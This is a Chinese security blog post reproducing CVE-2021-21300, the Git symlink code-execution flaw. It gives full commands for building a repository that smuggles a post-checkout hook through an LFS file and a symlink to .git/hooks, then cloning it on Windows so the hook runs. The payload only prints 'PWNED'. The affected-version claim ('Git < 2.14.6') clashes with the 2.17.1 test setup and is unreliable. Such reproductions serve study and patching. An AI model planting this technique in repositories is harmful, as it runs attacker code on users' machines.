首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2021-21300:Git符号链接代码执行漏洞复现

CVE-2021-21300:Git符号链接代码执行漏洞复现

作者头像
Timeline Sec
发布2021-08-20 15:13:38
发布2021-08-20 15:13:38
8200
举报
文章被收录于专栏:Timeline SecTimeline Sec

作者:Th1nk@Timeline Sec

本文字数:613

阅读时长:2~3min

声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Git 是一个开源的分布式版本控制系统。是 Linus Torvalds 开发的一个开放源码的版本控制软件,采用了分布式版本库的方式,可以有效、高速地处理从很小到非常大的项目。

0x02 漏洞概述

编号:CVE-2021-21300

受影响版本的Git仓库中如果包含符号链接文件,可能会导致在不区分大小写的文件系统克隆时执行刚刚切换分支的脚本。攻击者利用此漏洞可以执行任意代码。

0x03 影响版本

Git < 2.14.6

0x04 环境搭建

1、Windows安装Git-2.17.1-64-bit

代码语言:javascript
复制
https://www.npackd.org/p/git64/2.17.1.2

2、在ubuntu构建恶意仓库并上传到github(执行的命令在第三行命令里)

代码语言:javascript
复制
git init delayed-checkout 
cd delayed-checkout
echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes && mkdir A && printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout && chmod +x A/post-checkout && >A/a && >A/b && git add -A && rm -rf A && ln -s .git/hooks a && git add a && git commit -m initial
代码语言:javascript
复制
git branch -M main
git remote add origin [自己的仓库地址]
git push -u origin main

查看github仓库

校验各文件内容是否正确

如下显示:gitattributes

A/post-checkout(存储在Git LFS中)

0x05 漏洞复现

攻击测试

在win10提供的powershell(管理员)中执行命令如下:

代码语言:javascript
复制
git clone -c core.symlinks=true [自己的仓库地址]

clone后出现 PWNED 即为远程命令执行成功

0x06 修复方式

目前 Git 官方已发布更新修复了该漏洞,安全版本下载链接如下:

https://mirrors.edge.kernel.org/pub/software/scm/git/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档